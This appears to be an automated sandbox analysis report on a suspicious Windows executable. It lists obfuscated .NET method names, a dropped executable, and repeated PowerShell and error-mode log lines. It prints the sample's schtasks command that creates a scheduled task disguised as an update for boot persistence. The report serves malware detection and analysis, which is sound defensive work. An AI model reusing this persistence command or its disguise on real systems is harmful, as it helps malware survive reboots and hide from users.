Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, wB2Rr9wfkSfia2CgoH.cs High entropy of concatenated method names: 'ToString', 'Qd1jnyVS0c', 'aFQjDsnj9K', 'iZMj6wKEQT', 'oYUj4FhalN', 'MeOjPfMKXD', 'B2Njpmhvli', 'C5rj7n6r4E', 'QZCjNnMo6a', 'TXgjiIkgOh'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, rFvtaNchkTr3nMUUIn.cs High entropy of concatenated method names: 'KERvElHXvk', 'j85vr8spPH', 'QBnvIsbgHJ', 'luNvx1nNSf', 'VHrvB6QqE1', 'fLEvGOfOc1', 'jXWvFqcFEM', 'JTuv8fGcDw', 'TSevoLFeXH', 'EwNvmmpiWt'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, jb1pfZdktLu52my0oO.cs High entropy of concatenated method names: 'BGqGR4pA17', 'ugsGgPaAd2', 'fQqGcKCUil', 's6rGh4OBPZ', 'W9lGUf05gt', 'qs6GKU6EWE', 'wNfGq2CipJ', 'Vk8GOf8S8m', 'kKQGCSdivA', 'EbDGSqdj6Z'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, HiQ4I43Uvsow4nTqbt.cs High entropy of concatenated method names: 'OU9XOXY5Dx', 'IV9XCaK0Ey', 'sKhXwG6MoY', 'OJIXDhpOox', 'W9iX4GvKiZ', 'eSwXPPjSB6', 'DSSX7tXjoI', 'ctOXNQiHAK', 'AGCXtPos8F', 'lkCXnr1ycn'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, RWpFebSe4HVyqtjbec.cs High entropy of concatenated method names: 'Qdq1W2G1bx', 'jor12ZaWoA', 'L7yvscNQop', 'q1SvymZTIh', 'gGT1naWDmk', 'Oel1bIxkko', 'tMQ1To0fRY', 'nv419WSKNZ', 'Cjl1lLSgjc', 'nLF1umybL0'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, Q10DCOH47cMss7Ao3T.cs High entropy of concatenated method names: 'JiQxUXpVLr', 'xjmxqgy0iM', 'LfxI6eLQYh', 'cZpI4jq72a', 's62IP0bXZE', 'yisIp8sM0T', 'rJ6I77pcbv', 'xXiINbL72T', 'z8JIiUTtM4', 'XMiItJYdSb'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, I1OuxervgZa6PWoI0E.cs High entropy of concatenated method names: 'Ka91o918Nt', 'MgE1mki3qj', 'ToString', 'mAf1Ea6lIf', 'Oyl1ruwv0f', 'vn51ITOTVy', 'Fyc1xMSPJj', 'wC61Byax2W', 'Kdb1GSgbRQ', 'Uwm1FJ5kTj'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, rJYWQ2oBq7Yb7jo00a.cs High entropy of concatenated method names: 'iUr3ymljsGvvs9LHLHS', 'mqNnf1lfICqTTyJYKbR', 'LBeBv08Tr2', 'ud3BfgAkiE', 'TaMBVqKGoZ', 'xNDbFBlVwinT3RARj6r', 'Q1wPMklYGoPxIKlkyWV'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, jaQqi6JmmnmdPZuwgH.cs High entropy of concatenated method names: 'fjWGEmImNo', 'fWHGIenf9e', 'wvuGBsPFkI', 'jBAB20wcUo', 'hOFBz0kuYF', 'IOKGsAvvvu', 'fX0GyTMijv', 'bQwGergg72', 'kIdGJrEvCK', 'sJMGaJgEdI'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, X7Ye7Th1idJlwDwrpj.cs High entropy of concatenated method names: 'jUJIh2J5h2', 'VfSIKiga3Q', 'yFqIOZm1Pi', 'RtRIC1jco2', 'SoBIdLLdEI', 'WrEIjU7o8N', 'L3xI1G3PVy', 'SKZIvbSOwq', 'kHGIfsIs7x', 'xDJIV6tV0g'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, ElqWMNNuTTe5PkiWTf.cs High entropy of concatenated method names: 'smkyG8xcGP', 'W9oyFPGCWB', 'lPqyo4q7NS', 'CnCymvmMWE', 'U66ydQBKuo', 'Ypxyjywwfx', 'ttliZk5LyBm7C9lKLm', 'cpPnWDbOKiLPDO7VxF', 'IcfaoDHeY0TKAt2e12', 'eDtyy0wSC8'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, zvgrFmt1aRxW8NM3X7.cs High entropy of concatenated method names: 'JBQfy7trsc', 'cnLfJqUEQ1', 'UodfaTtSq8', 'w6MfE89Gwf', 'EjXfrWbaR5', 't17fxJQjpc', 'pXsfBy3xcy', 'f2QvAMGuXZ', 'xPOvWGGxX9', 'GmwvZZ0QkU'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, mTwLB111SFPqglkQENw.cs High entropy of concatenated method names: 'ToString', 'jXkVJ8JiZT', 'dg3Vae3KeC', 'zv4VQsXNJr', 'jMcVE4r8mQ', 'OX5Vr7L7gm', 'lOTVIg2LRK', 'r0YVxqKVgD', 'fIog4uhmLK0rlfqkfMQ', 'M6OUNghzwPhFYGsAnpu'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, WITcdq0YQjaZA5NFwT.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'XcfeZESwgH', 'frme2MTbLk', 'elxezqt15O', 'q69JsUw0IM', 'zNaJyrKtUC', 'WmZJeoq9vo', 'sGtJJl7nWd', 'ihRrmiaaYXIDL0hJtlZ'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, tAMspT1Z90pZnDTmvOH.cs High entropy of concatenated method names: 'QxSfRkNuZq', 'cu6fgOnGqk', 'UuTfcJclSt', 'g9xfhtXmcp', 'eDhfUAnHyp', 'NarfKZm7jr', 'fT8fqYEVvv', 'xNAfOYqIdl', 'D5NfCRjij9', 'ROmfSvf5y3'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, pasCFMLtKXAEJmZ1Oa.cs High entropy of concatenated method names: 'UynBQ0cbAF', 'mVWBr4Fsxu', 'v97BxvDKUm', 'UU0BGjed9r', 'tXDBFOIxlu', 'h1tx0xIsXp', 'BRWxMgWqvC', 'bqwxApE701', 'XfOxW6OWL1', 'Vf2xZnxFD7'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, SsJX0fI1tV46UUM7Kh.cs High entropy of concatenated method names: 'TxWc7GeXA', 'mcLhuGVTg', 'bCHKquow8', 'zTvq2rEUE', 'KfmCvOiQX', 'NrkSA4VcD', 'W4qpGG8t5L30j4S733', 'CqCbbPSRimFKCNAHCX', 'UcOvM5l0u', 'OIfVP4bEN'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, f1rDvoyICbalsOljJE.cs High entropy of concatenated method names: 'LwuvwAFX7d', 'QLWvDADubA', 'ayXv6lVGNC', 'UvHv4PZANF', 'x7Vv9TUHEO', 'pvwvP0wES9', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, glBYecz2lk6plH7KD1.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'aXdfXiTlYX', 'VOofdVBQRb', 'YiUfjrWoVD', 'Jclf1f6rfQ', 'jitfvc0rP4', 'fWbff1v2JN', 'Be3fVk9eg1'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, Y2IHfS803OE2xeLpjv.cs High entropy of concatenated method names: 'YeQdtxE2t2', 'hWXdbeSlo8', 'Qj2d9Ujg3C', 'Ld4dlBMka9', 'pHedDAE8uW', 'E6Wd6QXFqY', 'umpd4oItsL', 'w3vdP0rbGo', 'R4ydphrKV6', 'mKCd7nLgF8'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, J9RVJ6K99W0MlJv4fW.cs High entropy of concatenated method names: 'jS9r9Z9ISO', 'jsHrlETR2h', 'DYXruMFV5P', 'cN4rL4cjPd', 'kbMr0APsnt', 'D7PrMWEGqJ', 'n81rAQ5oLx', 'uFrrWKwNON', 'b28rZDn4VH', 'bClr2jo0iL'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs High entropy of concatenated method names: 'tRgJQAW6LH', 'CYiJEmYNpq', 'LSjJrVg39P', 'PX8JIT64Vq', 'hWtJx71YeE', 'eQrJBoebDy', 'M1JJGQy3kq', 'QKWJFbePNP', 'hWrJ8polrn', 'yQtJotW3ia'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, sElARX1fmIIkSrG6t6J.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'FXhV9c00cY', 'gnIVlYg25m', 'dYMVuwau9n', 'libVLk2tF6', 'BDtV0nMQx8', 'VnVVMWCgsi', 'SKrVAd1luZ'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, zVHbFNYULAGJFspyUV.cs High entropy of concatenated method names: 'Dispose', 'xwWyZkFTYk', 'BcveD7AmEK', 'EcCkkoyaNp', 'QbQy25AbHh', 'DSMyzdPt5t', 'ProcessDialogKey', 'fmoesPkgaX', 'QSyeyCsWsM', 'vDMeePfuKN'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, wB2Rr9wfkSfia2CgoH.cs High entropy of concatenated method names: 'ToString', 'Qd1jnyVS0c', 'aFQjDsnj9K', 'iZMj6wKEQT', 'oYUj4FhalN', 'MeOjPfMKXD', 'B2Njpmhvli', 'C5rj7n6r4E', 'QZCjNnMo6a', 'TXgjiIkgOh'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, rFvtaNchkTr3nMUUIn.cs High entropy of concatenated method names: 'KERvElHXvk', 'j85vr8spPH', 'QBnvIsbgHJ', 'luNvx1nNSf', 'VHrvB6QqE1', 'fLEvGOfOc1', 'jXWvFqcFEM', 'JTuv8fGcDw', 'TSevoLFeXH', 'EwNvmmpiWt'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, jb1pfZdktLu52my0oO.cs High entropy of concatenated method names: 'BGqGR4pA17', 'ugsGgPaAd2', 'fQqGcKCUil', 's6rGh4OBPZ', 'W9lGUf05gt', 'qs6GKU6EWE', 'wNfGq2CipJ', 'Vk8GOf8S8m', 'kKQGCSdivA', 'EbDGSqdj6Z'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, HiQ4I43Uvsow4nTqbt.cs High entropy of concatenated method names: 'OU9XOXY5Dx', 'IV9XCaK0Ey', 'sKhXwG6MoY', 'OJIXDhpOox', 'W9iX4GvKiZ', 'eSwXPPjSB6', 'DSSX7tXjoI', 'ctOXNQiHAK', 'AGCXtPos8F', 'lkCXnr1ycn'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, RWpFebSe4HVyqtjbec.cs High entropy of concatenated method names: 'Qdq1W2G1bx', 'jor12ZaWoA', 'L7yvscNQop', 'q1SvymZTIh', 'gGT1naWDmk', 'Oel1bIxkko', 'tMQ1To0fRY', 'nv419WSKNZ', 'Cjl1lLSgjc', 'nLF1umybL0'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, Q10DCOH47cMss7Ao3T.cs High entropy of concatenated method names: 'JiQxUXpVLr', 'xjmxqgy0iM', 'LfxI6eLQYh', 'cZpI4jq72a', 's62IP0bXZE', 'yisIp8sM0T', 'rJ6I77pcbv', 'xXiINbL72T', 'z8JIiUTtM4', 'XMiItJYdSb'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, I1OuxervgZa6PWoI0E.cs High entropy of concatenated method names: 'Ka91o918Nt', 'MgE1mki3qj', 'ToString', 'mAf1Ea6lIf', 'Oyl1ruwv0f', 'vn51ITOTVy', 'Fyc1xMSPJj', 'wC61Byax2W', 'Kdb1GSgbRQ', 'Uwm1FJ5kTj'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, rJYWQ2oBq7Yb7jo00a.cs High entropy of concatenated method names: 'iUr3ymljsGvvs9LHLHS', 'mqNnf1lfICqTTyJYKbR', 'LBeBv08Tr2', 'ud3BfgAkiE', 'TaMBVqKGoZ', 'xNDbFBlVwinT3RARj6r', 'Q1wPMklYGoPxIKlkyWV'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, jaQqi6JmmnmdPZuwgH.cs High entropy of concatenated method names: 'fjWGEmImNo', 'fWHGIenf9e', 'wvuGBsPFkI', 'jBAB20wcUo', 'hOFBz0kuYF', 'IOKGsAvvvu', 'fX0GyTMijv', 'bQwGergg72', 'kIdGJrEvCK', 'sJMGaJgEdI'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, X7Ye7Th1idJlwDwrpj.cs High entropy of concatenated method names: 'jUJIh2J5h2', 'VfSIKiga3Q', 'yFqIOZm1Pi', 'RtRIC1jco2', 'SoBIdLLdEI', 'WrEIjU7o8N', 'L3xI1G3PVy', 'SKZIvbSOwq', 'kHGIfsIs7x', 'xDJIV6tV0g'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, ElqWMNNuTTe5PkiWTf.cs High entropy of concatenated method names: 'smkyG8xcGP', 'W9oyFPGCWB', 'lPqyo4q7NS', 'CnCymvmMWE', 'U66ydQBKuo', 'Ypxyjywwfx', 'ttliZk5LyBm7C9lKLm', 'cpPnWDbOKiLPDO7VxF', 'IcfaoDHeY0TKAt2e12', 'eDtyy0wSC8'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, zvgrFmt1aRxW8NM3X7.cs High entropy of concatenated method names: 'JBQfy7trsc', 'cnLfJqUEQ1', 'UodfaTtSq8', 'w6MfE89Gwf', 'EjXfrWbaR5', 't17fxJQjpc', 'pXsfBy3xcy', 'f2QvAMGuXZ', 'xPOvWGGxX9', 'GmwvZZ0QkU'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, mTwLB111SFPqglkQENw.cs High entropy of concatenated method names: 'ToString', 'jXkVJ8JiZT', 'dg3Vae3KeC', 'zv4VQsXNJr', 'jMcVE4r8mQ', 'OX5Vr7L7gm', 'lOTVIg2LRK', 'r0YVxqKVgD', 'fIog4uhmLK0rlfqkfMQ', 'M6OUNghzwPhFYGsAnpu'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, WITcdq0YQjaZA5NFwT.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'XcfeZESwgH', 'frme2MTbLk', 'elxezqt15O', 'q69JsUw0IM', 'zNaJyrKtUC', 'WmZJeoq9vo', 'sGtJJl7nWd', 'ihRrmiaaYXIDL0hJtlZ'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, tAMspT1Z90pZnDTmvOH.cs High entropy of concatenated method names: 'QxSfRkNuZq', 'cu6fgOnGqk', 'UuTfcJclSt', 'g9xfhtXmcp', 'eDhfUAnHyp', 'NarfKZm7jr', 'fT8fqYEVvv', 'xNAfOYqIdl', 'D5NfCRjij9', 'ROmfSvf5y3'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, pasCFMLtKXAEJmZ1Oa.cs High entropy of concatenated method names: 'UynBQ0cbAF', 'mVWBr4Fsxu', 'v97BxvDKUm', 'UU0BGjed9r', 'tXDBFOIxlu', 'h1tx0xIsXp', 'BRWxMgWqvC', 'bqwxApE701', 'XfOxW6OWL1', 'Vf2xZnxFD7'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, SsJX0fI1tV46UUM7Kh.cs High entropy of concatenated method names: 'TxWc7GeXA', 'mcLhuGVTg', 'bCHKquow8', 'zTvq2rEUE', 'KfmCvOiQX', 'NrkSA4VcD', 'W4qpGG8t5L30j4S733', 'CqCbbPSRimFKCNAHCX', 'UcOvM5l0u', 'OIfVP4bEN'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, f1rDvoyICbalsOljJE.cs High entropy of concatenated method names: 'LwuvwAFX7d', 'QLWvDADubA', 'ayXv6lVGNC', 'UvHv4PZANF', 'x7Vv9TUHEO', 'pvwvP0wES9', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, glBYecz2lk6plH7KD1.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'aXdfXiTlYX', 'VOofdVBQRb', 'YiUfjrWoVD', 'Jclf1f6rfQ', 'jitfvc0rP4', 'fWbff1v2JN', 'Be3fVk9eg1'
Drops PE files
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe File created: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TwkYThKVQVaYn" /XML "C:\Users\user\AppData\Local\Temp\tmpE0B6.tmp"

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
